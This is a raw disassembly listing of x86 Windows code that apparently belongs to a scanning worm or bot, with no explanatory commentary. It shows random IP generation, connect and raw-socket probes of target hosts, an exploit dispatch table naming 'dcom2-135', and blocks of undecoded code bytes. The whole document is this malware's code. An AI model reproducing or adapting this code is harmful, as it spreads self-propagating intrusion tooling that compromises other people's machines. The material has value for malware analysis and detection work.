		and	dword_4E3880, 0
		mov	eax, [ebp+118h]
		mov	dword_4E3878, eax
		mov	eax, [ebp+140h]
		mov	dword_4E3908, eax
		movsx	eax, byte ptr [ebp+98h]
		test	eax, eax
		jnz	short loc_40E565
		push	7Fh
		lea	eax, [ebp+18h]
		push	eax
		push	offset dword_4E3888
		call	sub_421470
		add	esp, 0Ch
		mov	dword_4E390C, 1
		jmp	short loc_40E582
; ---------------------------------------------------------------------------


loc_40E565:				; CODE XREF: .XComp0:0040E544j
		push	7Fh
		lea	eax, [ebp+98h]
		push	eax
		push	offset dword_4E3888
		call	sub_421470
		add	esp, 0Ch
		and	dword_4E390C, 0


loc_40E582:				; CODE XREF: .XComp0:0040E563j
		push	dword_4E3884
		push	offset unk_4495D8
		lea	eax, [ebp-200h]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	0
		push	7
		lea	eax, [ebp-200h]
		push	eax
		call	sub_40D32A
		add	esp, 0Ch
		mov	dword_4E387C, eax
		lea	eax, [ebp-204h]
		push	eax
		push	0
		push	offset dword_4E3878
		push	offset byte_41376D
		push	0
		push	0
		nop
		call	near ptr 27B05E2h
		mov	ecx, dword_4E387C
		imul	ecx, 234h
		mov	dword_45462C[ecx], eax
		mov	eax, dword_4E387C
		imul	eax, 234h
		cmp	dword_45462C[eax], 0
		jz	short loc_40E60C


loc_40E5F7:				; CODE XREF: .XComp0:0040E608j
		cmp	dword_4E3910, 0
		jnz	short loc_40E60A
		push	32h
		nop
		call	near ptr 27B048Ah
		jmp	short loc_40E5F7
; ---------------------------------------------------------------------------


loc_40E60A:				; CODE XREF: .XComp0:0040E5FEj
		jmp	short loc_40E627
; ---------------------------------------------------------------------------


loc_40E60C:				; CODE XREF: .XComp0:0040E5F5j
		nop
		call	near ptr 27B0F7Fh
		push	eax
		push	offset unk_449608
		lea	eax, [ebp-200h]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_40E627:				; CODE XREF: .XComp0:loc_40E60Aj
		lea	eax, [ebp-200h]
		push	eax
		call	sub_4173DC
		pop	ecx


loc_40E634:				; CODE XREF: .XComp0:0040E4FEj
					; .XComp0:0040E50Ej
		mov	eax, [ebp+138h]
		shl	eax, 6
		cmp	dword_448FF8[eax], 0
		jz	locret_40E798
		push	3
		call	sub_40D6D9
		pop	ecx
		test	eax, eax
		jnz	locret_40E798
		push	104h
		push	offset dword_4E40F4
		push	0
		nop
		call	near ptr 27A0000h
		push	5Ch
		push	offset dword_4E40F4
		call	sub_422510
		pop	ecx
		pop	ecx
		mov	[ebp-208h], eax
		cmp	dword ptr [ebp-208h], 0
		jz	short loc_40E692
		mov	eax, [ebp-208h]
		and	byte ptr [eax],	0


loc_40E692:				; CODE XREF: .XComp0:0040E687j
		mov	eax, dword_44107C
		mov	dword_4E41F8, eax
		and	dword_4E420C, 0
		lea	eax, [ebp+18h]
		push	eax
		push	offset dword_4E3E6C
		call	sub_4219C0
		pop	ecx
		pop	ecx
		mov	eax, [ebp+118h]
		mov	dword_4E3E68, eax
		mov	eax, [ebp+140h]
		mov	dword_4E4204, eax
		mov	eax, [ebp+144h]
		mov	dword_4E4208, eax
		push	offset dword_4E40F4
		push	dword_4E41F8
		push	dword ptr [ebp+118h]
		call	sub_40C86E
		pop	ecx
		push	eax
		push	offset unk_449640
		lea	eax, [ebp-200h]
		push	eax
		call	sub_4219C0
		add	esp, 14h
		push	0
		push	3
		lea	eax, [ebp-200h]
		push	eax
		call	sub_40D32A
		add	esp, 0Ch
		mov	dword_4E4200, eax
		lea	eax, [ebp-204h]
		push	eax
		push	0
		push	offset dword_4E3E68
		push	offset sub_4144BD
		push	0
		push	0
		nop
		call	near ptr 27B05E2h
		mov	ecx, dword_4E4200
		imul	ecx, 234h
		mov	dword_45462C[ecx], eax
		mov	eax, dword_4E4200
		imul	eax, 234h
		cmp	dword_45462C[eax], 0
		jz	short loc_40E770


loc_40E75B:				; CODE XREF: .XComp0:0040E76Cj
		cmp	dword_4E4214, 0
		jnz	short loc_40E76E
		push	32h
		nop
		call	near ptr 27B048Ah
		jmp	short loc_40E75B
; ---------------------------------------------------------------------------


loc_40E76E:				; CODE XREF: .XComp0:0040E762j
		jmp	short loc_40E78B
; ---------------------------------------------------------------------------


loc_40E770:				; CODE XREF: .XComp0:0040E759j
		call	near ptr 27B0F7Fh
		nop
		push	eax
		push	offset unk_44967C
		lea	eax, [ebp-200h]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_40E78B:				; CODE XREF: .XComp0:loc_40E76Ej
		lea	eax, [ebp-200h]
		push	eax
		call	sub_4173DC
		pop	ecx

locret_40E798:				; CODE XREF: .XComp0:0040E644j
					; .XComp0:0040E654j
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E79A	proc near		; CODE XREF: .XComp0:0040ED4Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	4
		mov	eax, [ebp+arg_0]
		lea	eax, ds:4E1860h[eax*8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		push	[ebp+var_4]
		call	dword_4E1628	; ntohl
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		call	dword_4E16FC	; ntohl
		mov	[ebp+var_4], eax
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+arg_0]
		lea	eax, ds:4E1860h[eax*8]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	eax, dword_4E1860[eax*8]
		leave
		retn
sub_40E79A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E7FB	proc near		; CODE XREF: .XComp0:0040ED29p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		or	[ebp+var_4], 0FFFFFFFFh
		or	[ebp+var_8], 0FFFFFFFFh
		or	[ebp+var_C], 0FFFFFFFFh
		or	[ebp+var_10], 0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_41EBD0
		pop	ecx
		cmp	eax, 0Fh
		jbe	short loc_40E826
		xor	eax, eax
		jmp	locret_40E8AD
; ---------------------------------------------------------------------------


loc_40E826:				; CODE XREF: sub_40E7FB+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	offset aD_D_D_D_0 ; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_422E90
		add	esp, 18h
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_40E854
		call	sub_421AD0
		mov	[ebp+var_4], eax


loc_40E854:				; CODE XREF: sub_40E7FB+4Fj
		cmp	[ebp+var_8], 0FFFFFFFFh
		jnz	short loc_40E862
		call	sub_421AD0
		mov	[ebp+var_8], eax


loc_40E862:				; CODE XREF: sub_40E7FB+5Dj
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_40E870
		call	sub_421AD0
		mov	[ebp+var_C], eax


loc_40E870:				; CODE XREF: sub_40E7FB+6Bj
		cmp	[ebp+var_10], 0FFFFFFFFh
		jnz	short loc_40E87E
		call	sub_421AD0
		mov	[ebp+var_10], eax


loc_40E87E:				; CODE XREF: sub_40E7FB+79j
		mov	eax, [ebp+var_8]
		shl	eax, 8
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		add	ecx, eax
		mov	eax, [ebp+var_10]
		shl	eax, 18h
		add	ecx, eax
		mov	eax, [ebp+arg_4]
		mov	dword_4E1860[eax*8], ecx
		mov	eax, [ebp+arg_4]
		mov	eax, dword_4E1860[eax*8]

locret_40E8AD:				; CODE XREF: sub_40E7FB+26j
		leave
		retn
sub_40E7FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E8AF	proc near		; CODE XREF: sub_40DF24+93p
					; .XComp0:0040EDCAp ...

var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= word ptr -114h
var_112		= word ptr -112h
var_110		= dword	ptr -110h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 12Ch
		mov	[ebp+var_124], 1
		push	0
		push	1
		push	2
		call	dword_4E1780	; socket
		mov	[ebp+var_128], eax
		cmp	[ebp+var_128], 0FFFFFFFFh
		jnz	short loc_40E8E4
		xor	eax, eax
		jmp	locret_40EA00
; ---------------------------------------------------------------------------


loc_40E8E4:				; CODE XREF: sub_40E8AF+2Cj
		mov	[ebp+var_114], 2
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_110], eax
		push	[ebp+arg_4]
		call	dword_4E1700	; ntohs
		mov	[ebp+var_112], ax
		lea	eax, [ebp+var_124]
		push	eax
		push	8004667Eh
		push	[ebp+var_128]
		call	dword_4E179C	; ioctlsocket
		push	10h
		lea	eax, [ebp+var_114]
		push	eax
		push	[ebp+var_128]
		call	dword_4E16A8	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_120], eax
		and	[ebp+var_11C], 0
		and	[ebp+var_104], 0


loc_40E94A:				; CODE XREF: sub_40E8AF+113j
		and	[ebp+var_12C], 0
		jmp	short loc_40E960
; ---------------------------------------------------------------------------


loc_40E953:				; CODE XREF: sub_40E8AF:loc_40E985j
		mov	eax, [ebp+var_12C]
		inc	eax
		mov	[ebp+var_12C], eax


loc_40E960:				; CODE XREF: sub_40E8AF+A2j
		mov	eax, [ebp+var_12C]
		cmp	eax, [ebp+var_104]
		jnb	short loc_40E987
		mov	eax, [ebp+var_12C]
		mov	eax, [ebp+eax*4+var_100]
		cmp	eax, [ebp+var_128]
		jnz	short loc_40E985
		jmp	short loc_40E987
; ---------------------------------------------------------------------------


loc_40E985:				; CODE XREF: sub_40E8AF+D2j
		jmp	short loc_40E953
; ---------------------------------------------------------------------------


loc_40E987:				; CODE XREF: sub_40E8AF+BDj
					; sub_40E8AF+D4j
		mov	eax, [ebp+var_12C]
		cmp	eax, [ebp+var_104]
		jnz	short loc_40E9BE
		cmp	[ebp+var_104], 40h
		jnb	short loc_40E9BE
		mov	eax, [ebp+var_12C]
		mov	ecx, [ebp+var_128]
		mov	[ebp+eax*4+var_100], ecx
		mov	eax, [ebp+var_104]
		inc	eax
		mov	[ebp+var_104], eax


loc_40E9BE:				; CODE XREF: sub_40E8AF+E4j
					; sub_40E8AF+EDj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_40E94A
		lea	eax, [ebp+var_120]
		push	eax
		push	0
		lea	eax, [ebp+var_104]
		push	eax
		push	0
		push	0
		call	dword_4E16E8	; select
		mov	[ebp+var_118], eax
		push	[ebp+var_128]
		call	dword_4E1798	; closesocket
		cmp	[ebp+var_118], 0
		jg	short loc_40E9FD
		xor	eax, eax
		jmp	short locret_40EA00
; ---------------------------------------------------------------------------


loc_40E9FD:				; CODE XREF: sub_40E8AF+148j
		push	1
		pop	eax

locret_40EA00:				; CODE XREF: sub_40E8AF+30j
					; sub_40E8AF+14Cj
		leave
		retn
sub_40E8AF	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 1011Ch
		call	sub_421EE0
		mov	word ptr [ebp-10044h], 2649h
		push	dword ptr [ebp-10044h]
		call	dword_4E1700	; ntohs
		mov	[ebp-100F8h], ax
		push	dword ptr [ebp+10h]
		call	dword_4E1700	; ntohs
		mov	[ebp-100F6h], ax
		call	sub_421AD0
		mov	[ebp-100F4h], eax
		and	dword ptr [ebp-100F0h],	0
		and	word ptr [ebp-100ECh], 0
		and	word ptr [ebp-100DCh], 0
		mov	word ptr [ebp-100EAh], 5
		and	word ptr [ebp-100E8h], 0
		mov	word ptr [ebp-100E6h], 1
		and	word ptr [ebp-100E4h], 0
		and	word ptr [ebp-100E2h], 0
		and	word ptr [ebp-100E0h], 0
		and	word ptr [ebp-100DEh], 0
		push	200h
		call	dword_4E1700	; ntohs
		mov	[ebp-100DAh], ax
		and	word ptr [ebp-100D8h], 0
		and	word ptr [ebp-100D6h], 0
		mov	eax, [ebp+8]
		mov	[ebp-1011Ch], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-10118h], eax
		and	byte ptr [ebp-10114h], 0
		mov	byte ptr [ebp-10113h], 6
		push	24h
		call	dword_4E1700	; ntohs
		mov	[ebp-10112h], ax
		push	24h
		lea	eax, [ebp-100F8h]
		push	eax
		lea	eax, [ebp-10110h]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		push	20h
		lea	eax, [ebp-1011Ch]
		push	eax
		call	sub_40C8C9
		pop	ecx
		pop	ecx
		mov	[ebp-100D8h], ax
		push	10h
		push	0
		lea	eax, [ebp-100D4h]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		mov	word ptr [ebp-100D4h], 2
		push	dword ptr [ebp+10h]
		call	dword_4E1700	; ntohs
		mov	[ebp-100D2h], ax
		mov	eax, [ebp+0Ch]
		mov	[ebp-100D0h], eax
		mov	dword ptr [ebp-100FCh],	10h
		push	6
		push	3
		push	2
		call	dword_4E1780	; socket
		mov	[ebp-10040h], eax
		cmp	dword ptr [ebp-10040h],	0FFFFFFFFh
		jnz	short loc_40EB83
		push	offset aSocketOpenFail ; "socket open failed"
		call	sub_4173DC
		pop	ecx
		xor	eax, eax
		jmp	locret_40EC9D
; ---------------------------------------------------------------------------


loc_40EB83:				; CODE XREF: .XComp0:0040EB6Fj
		push	dword ptr [ebp-100FCh]
		lea	eax, [ebp-100D4h]
		push	eax
		push	0
		push	24h
		lea	eax, [ebp-100F8h]
		push	eax
		push	dword ptr [ebp-10040h]
		call	dword_4E1764	; sendto
		mov	[ebp-1003Ch], eax
		cmp	dword ptr [ebp-1003Ch],	14h
		jz	short loc_40EBF7
		call	dword_4E1694	; WSAGetLastError
		push	eax
		push	dword ptr [ebp-1003Ch]
		push	offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
		lea	eax, [ebp-100C4h]
		push	eax
		call	sub_4219C0
		add	esp, 10h
		lea	eax, [ebp-100C4h]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	dword ptr [ebp-10040h]
		call	dword_4E1798	; closesocket
		xor	eax, eax
		jmp	locret_40EC9D
; ---------------------------------------------------------------------------


loc_40EBF7:				; CODE XREF: .XComp0:0040EBB4j
		push	10038h
		push	0
		lea	eax, [ebp-10038h]
		push	eax
		call	sub_421410
		add	esp, 0Ch


loc_40EC0D:				; CODE XREF: .XComp0:loc_40EC66j
		movzx	eax, word ptr [ebp-10022h]
		movzx	ecx, word ptr [ebp-10044h]
		cmp	eax, ecx
		jz	short loc_40EC68
		lea	eax, [ebp-100FCh]
		push	eax
		lea	eax, [ebp-100D4h]
		push	eax
		push	0
		push	10038h
		lea	eax, [ebp-10038h]
		push	eax
		push	dword ptr [ebp-10040h]
		call	dword_4E16D8	; recvfrom
		test	eax, eax
		jge	short loc_40EC66
		push	offset aRecvfromSocket ; "recvfrom() socket failed"
		call	sub_4173DC
		pop	ecx
		push	dword ptr [ebp-10040h]
		call	dword_4E1798	; closesocket
		xor	eax, eax
		jmp	short locret_40EC9D
; ---------------------------------------------------------------------------


loc_40EC66:				; CODE XREF: .XComp0:0040EC49j
		jmp	short loc_40EC0D
; ---------------------------------------------------------------------------


loc_40EC68:				; CODE XREF: .XComp0:0040EC1Dj
		push	dword ptr [ebp-10040h]
		call	dword_4E1798	; closesocket
		movzx	eax, word ptr [ebp-10012h]
		cmp	eax, 1
		jnz	short loc_40EC90
		push	offset aSocketOpen_ ; "Socket open."
		call	sub_4173DC
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_40EC9D
; ---------------------------------------------------------------------------


loc_40EC90:				; CODE XREF: .XComp0:0040EC7Ej
		push	offset aSocketClosed_ ;	"Socket	closed."
		call	sub_4173DC
		pop	ecx
		xor	eax, eax

locret_40EC9D:				; CODE XREF: .XComp0:0040EB7Ej
					; .XComp0:0040EBF2j ...
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		push	esi
		push	edi
		mov	esi, [ebp+8]
		push	53h
		pop	ecx
		lea	edi, [ebp-150h]
		rep movsd
		mov	eax, [ebp+8]
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp-2Ch]
		mov	[ebp-1DCh], eax
		mov	eax, [ebp-28h]
		mov	[ebp-154h], eax
		nop
		call	near ptr 27D079Eh
		push	eax
		call	sub_421AC0
		pop	ecx


loc_40ECEA:				; CODE XREF: .XComp0:0040EF55j
		mov	eax, [ebp-1DCh]
		imul	eax, 234h
		mov	eax, dword_45461C[eax]
		cmp	dword_4E1864[eax*8], 0
		jz	loc_40EF5A
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_40ED38
		mov	eax, [ebp-1DCh]
		imul	eax, 234h
		push	dword_45461C[eax]
		lea	eax, [ebp-150h]
		push	eax
		call	sub_40E7FB
		pop	ecx
		pop	ecx
		mov	[ebp-1E0h], eax
		jmp	short loc_40ED56
; ---------------------------------------------------------------------------


loc_40ED38:				; CODE XREF: .XComp0:0040ED0Ej
		mov	eax, [ebp-1DCh]
		imul	eax, 234h
		push	dword_45461C[eax]
		call	sub_40E79A
		pop	ecx
		mov	[ebp-1E0h], eax


loc_40ED56:				; CODE XREF: .XComp0:0040ED36j
		mov	eax, [ebp-1E0h]
		mov	[ebp-158h], eax
		push	dword ptr [ebp-154h]
		mov	eax, [ebp-1DCh]
		imul	eax, 234h
		push	dword_45461C[eax]
		push	dword ptr [ebp-3Ch]
		push	dword ptr [ebp-158h]
		call	dword_4E178C	; inet_ntoa
		push	eax
		push	offset unk_449734
		lea	eax, [ebp-1D8h]
		push	eax
		call	sub_4219C0
		add	esp, 18h
		lea	eax, [ebp-1D8h]
		push	eax
		mov	eax, [ebp-1DCh]
		imul	eax, 234h
		add	eax, offset byte_454418
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-38h]
		push	dword ptr [ebp-3Ch]
		push	dword ptr [ebp-1E0h]
		call	sub_40E8AF
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40EF4A
		cmp	dword ptr [ebp-20h], 0FFFFFFFFh
		jnz	loc_40EE80
		push	offset dword_4E3860
		nop
		call	near ptr 7C901005h
		push	dword ptr [ebp-3Ch]
		push	dword ptr [ebp-158h]
		call	dword_4E178C	; inet_ntoa
		push	eax
		push	offset dword_44976C
		lea	eax, [ebp-1D8h]
		push	eax
		call	sub_4219C0
		add	esp, 10h
		cmp	dword ptr [ebp-14h], 0
		jnz	short loc_40EE63
		movsx	eax, byte ptr [ebp-0C0h]
		test	eax, eax
		jz	short loc_40EE45
		push	1
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-1D8h]
		push	eax
		lea	eax, [ebp-0C0h]
		push	eax
		push	dword ptr [ebp-40h]
		call	sub_40B00F
		add	esp, 14h
		jmp	short loc_40EE63
; ---------------------------------------------------------------------------


loc_40EE45:				; CODE XREF: .XComp0:0040EE23j
		push	1
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-1D8h]
		push	eax
		lea	eax, [ebp-140h]
		push	eax
		push	dword ptr [ebp-40h]
		call	sub_40B00F
		add	esp, 14h


loc_40EE63:				; CODE XREF: .XComp0:0040EE18j
					; .XComp0:0040EE43j
		lea	eax, [ebp-1D8h]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	offset dword_4E3860
		nop
		call	near ptr 7C9010EDh
		jmp	loc_40EF4A
; ---------------------------------------------------------------------------


loc_40EE80:				; CODE XREF: .XComp0:0040EDDFj
		push	dword ptr [ebp-158h]
		call	dword_4E178C	; inet_ntoa
		push	eax
		lea	eax, [ebp-298h]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		mov	eax, [ebp-20h]
		shl	eax, 6
		add	eax, offset aDcom2135 ;	"dcom2-135"
		push	eax
		lea	eax, [ebp-208h]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		movsx	eax, byte ptr [ebp-0C0h]
		test	eax, eax
		jz	short loc_40EED7
		lea	eax, [ebp-0C0h]
		push	eax
		lea	eax, [ebp-288h]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_40EEEC
; ---------------------------------------------------------------------------


loc_40EED7:				; CODE XREF: .XComp0:0040EEBEj
		lea	eax, [ebp-140h]
		push	eax
		lea	eax, [ebp-288h]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_40EEEC:				; CODE XREF: .XComp0:0040EED5j
		mov	eax, [ebp-40h]
		mov	[ebp-29Ch], eax
		mov	eax, [ebp-18h]
		mov	[ebp-1ECh], eax
		mov	eax, [ebp-14h]
		mov	[ebp-1E8h], eax
		mov	eax, [ebp-3Ch]
		mov	[ebp-1FCh], eax
		mov	eax, [ebp-1DCh]
		mov	[ebp-1F8h], eax
		mov	eax, [ebp-20h]
		mov	[ebp-1F4h], eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		lea	esi, [ebp-29Ch]
		mov	edi, esp
		rep movsd
		mov	eax, [ebp-20h]
		shl	eax, 6
		call	off_448FEC[eax]
		add	esp, 0BCh


loc_40EF4A:				; CODE XREF: .XComp0:0040EDD5j
					; .XComp0:0040EE7Bj
		push	7D0h
		nop
		call	near ptr 27B048Ah
		jmp	loc_40ECEA
; ---------------------------------------------------------------------------


loc_40EF5A:				; CODE XREF: .XComp0:0040ED04j
		push	dword ptr [ebp-1DCh]
		call	sub_40D802
		pop	ecx
		push	0
		nop
		call	near ptr 2830000h
		pop	edi
		pop	esi
		leave
		retn	4
; ---------------------------------------------------------------------------
dword_40EF74	dd 81EC8B55h, 1D8ECh, 8B575600h, 536A0875h, 0B0BD8D59h
					; DATA XREF: sub_4021E5+3F10o
					; sub_4021E5+85A5o
		dd 0F3FFFFFEh, 8458BA5h, 8BFC4589h, 80C7FC45h, 144h, 1
		dd 0FEB0858Dh, 0FF50FFFFh, 4E174015h, 0D04D8B00h, 60CD0489h
		dd 81004E18h, 14CECh, 59536A00h, 0FEB0B58Dh, 0FC8BFFFFh
		dd 47E8A5F3h, 81FFFFF2h, 14CC4h, 0E80B6A00h, 0FFFFE6FDh
		dd 1F88359h, 60686A75h,	90004E38h, 431013E8h, 4006802h
		dd 60688000h, 0E8004E38h, 24217C5h, 75C08590h, 9794684Bh
		dd 858D0044h, 0FFFFFE28h, 29AEE850h, 59590001h,	0EC7D83h
		dd 6A1E75h, 8DE875FFh, 0FFFE2885h, 858D50FFh, 0FFFFFEC0h
		dd 0C075FF50h, 0FFBFDAE8h, 14C483FFh, 0FE28858Dh, 0E850FFFFh
		dd 8398h, 0E9C03359h, 1E6h, 0C7D0458Bh,	1864C504h, 1004Eh
		dd 85C70000h, 0FFFFFEA8h, 1, 858B0DEBh,	0FFFFFEA8h, 0A8858940h
		dd 8BFFFFFEh, 0FFFEA885h, 0DC453BFFh, 0D7870Fh,	858B0000h
		dd 0FFFFFEA8h, 0FFD84589h, 75FFD875h, 0C475FFD0h, 0FEB0858Dh
		dd 6850FFFFh, 4497C8h, 0FE28858Dh, 0E850FFFFh, 12914h
		dd 6A18C483h, 8D0B6A00h, 0FFFE2885h, 6BE850FFh,	83FFFFE2h
		dd 45890CC4h, 0D4458BD4h, 234C069h, 4D8B0000h, 1C8889D0h
		dd 6A004546h, 8D006A00h, 0FFFEB085h, 9F6850FFh,	6A0040ECh
		dd 90006A00h, 3A14F1E8h, 0D44D8B02h, 234C969h, 81890000h
		dd 45462Ch, 69D4458Bh, 234C0h, 2CB88300h, 4546h, 7D831274h
		dd 0A7500F8h, 0E8901E6Ah, 23A136Ah, 28EBF0EBh, 1E55E890h
		dd 6850023Ah, 4497FCh, 0FE28858Dh, 0E850FFFFh, 12884h
		dd 8D0CC483h, 0FFFE2885h, 91E850FFh, 59000082h,	0E8901E6Ah
		dd 23A1336h, 0FFFF0DE9h, 0CC7D83FFh, 8B127400h,	0C069CC45h
		dd 0EA60h, 1BE89050h, 0EB023A13h, 0D0458B1Ah, 64C53C83h
		dd 1004E18h, 0D0680D75h, 90000007h, 3A1301E8h, 8BE6EB02h
		dd 48BD045h, 4E1860C5h,	0AC858900h, 0FFFFFFFEh,	75FFCC75h
		dd 0ACB5FFC4h, 0FFFFFFFEh, 4E178C15h, 34685000h, 8D004498h
		dd 0FFFE2885h, 1E850FFh, 83000128h, 7D8314C4h, 1E7500ECh
		dd 75FF006Ah, 28858DE8h, 50FFFFFEh, 0FEC0858Dh,	0FF50FFFFh
		dd 2CE8C075h, 83FFFFBEh, 858D14C4h, 0FFFFFE28h,	81EAE850h
		dd 8B590000h, 2483D045h, 4E1864C5h, 0B8680000h,	0E800000Bh
		dd 23A1282h, 0E80B6A90h, 0FFFFE4C9h, 1F88359h, 60680B75h
		dd 90004E38h, 430DDFE8h, 0D075FF02h, 0FFE5D9E8h, 6A59FFh
		dd 420DCFE8h, 5E5F9002h, 4C2C9h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F238	proc near

var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= word ptr -0C0h
var_BE		= word ptr -0BEh
var_BC		= dword	ptr -0BCh
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= byte ptr -0A8h
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0C8h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	2Bh
		pop	ecx
		lea	edi, [ebp+var_AC]
		rep movsd
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_B0], eax
		mov	eax, [ebp+var_B0]
		mov	dword ptr [eax+0A8h], 1
		push	10h
		push	0
		lea	eax, [ebp+var_C0]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		mov	[ebp+var_C0], 2
		push	[ebp+var_28]
		call	dword_4E1700	; ntohs
		mov	[ebp+var_BE], ax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_BC], eax
		push	6
		push	1
		push	2
		call	dword_4E1780	; socket
		mov	[ebp+var_C4], eax
		cmp	[ebp+var_C4], 0FFFFFFFFh
		jz	loc_40F340
		push	10h
		lea	eax, [ebp+var_C0]
		push	eax
		push	[ebp+var_C4]
		call	dword_4E16A8	; connect
		mov	[ebp+var_C8], eax
		mov	eax, [ebp+var_1C]
		imul	eax, 234h
		mov	ecx, [ebp+var_C4]
		mov	dword_454624[eax], ecx
		cmp	[ebp+var_C8], 0FFFFFFFFh
		jz	short loc_40F340
		push	[ebp+var_28]
		push	[ebp+var_18]
		call	dword_4E178C	; inet_ntoa
		push	eax
		push	offset dword_449874
		push	offset dword_4E4224
		call	sub_4219C0
		add	esp, 10h
		push	0
		push	[ebp+var_10]
		push	offset dword_4E4224
		lea	eax, [ebp+var_A8]
		push	eax
		push	[ebp+var_AC]
		call	sub_40B00F
		add	esp, 14h
		push	offset dword_4E4224
		call	sub_4173DC
		pop	ecx


loc_40F340:				; CODE XREF: sub_40F238+80j
					; sub_40F238+BDj
		push	[ebp+var_C4]
		call	dword_4E1798	; closesocket
		xor	eax, eax
		pop	edi
		pop	esi
		leave
		retn	4
sub_40F238	endp

; ---------------------------------------------------------------------------
dword_40F354	dd 81EC8B55h, 13CECh, 8B575600h, 2B6A0875h, 0D0BD8D59h
					; DATA XREF: sub_4021E5+7959o
		dd 0F3FFFFFEh, 8458BA5h, 0FECC8589h, 858BFFFFh,	0FFFFFECCh
		dd 0A480C7h, 10000h, 16A0000h, 0FC08558h, 11984h, 54B5FF00h
		dd 0FFFFFFFFh, 0FFFF64B5h, 8C15FFFFh, 50004E17h, 44989C68h
		dd 80458D00h, 260EE850h, 0C4830001h, 1FF6810h, 458D0000h
		dd 858B5080h, 0FFFFFF60h, 234C069h, 18050000h, 50004544h
		dd 1209BE8h, 0CC48300h,	0FEC8858Dh, 6A50FFFFh, 0D0858D00h
		dd 50FFFFFEh, 40F23868h, 6A006A00h, 0EBE89000h,	89023A11h
		dd 0FFFEC485h, 0C4BD83FFh, 0FFFFFEh, 0BD831374h, 0FFFFFF78h
		dd 6A0A7500h, 73E89032h, 0EB023A10h, 0C4B5FFEDh, 90FFFFFEh
		dd 381153E8h, 0CC858B02h, 83FFFFFEh, 0A8A0h, 858B0000h
		dd 0FFFFFECCh, 8CB0FFh,	0E8900000h, 23A1046h, 858D046Ah
		dd 0FFFFFF64h, 7C858D50h, 50FFFFFFh, 136F7E8h, 0CC48300h
		dd 0FF7CB5FFh, 15FFFFFFh, 4E1628h, 0FF7C8589h, 858BFFFFh
		dd 0FFFFFF7Ch, 7C858940h, 0FFFFFFFFh, 0FFFF7CB5h, 0FC15FFFFh
		dd 89004E16h, 0FFFF7C85h, 8D046AFFh, 0FFFF7C85h, 858D50FFh
		dd 0FFFFFF64h, 36AEE850h, 0C4830001h, 0FEDCE90Ch, 0B5FFFFFFh
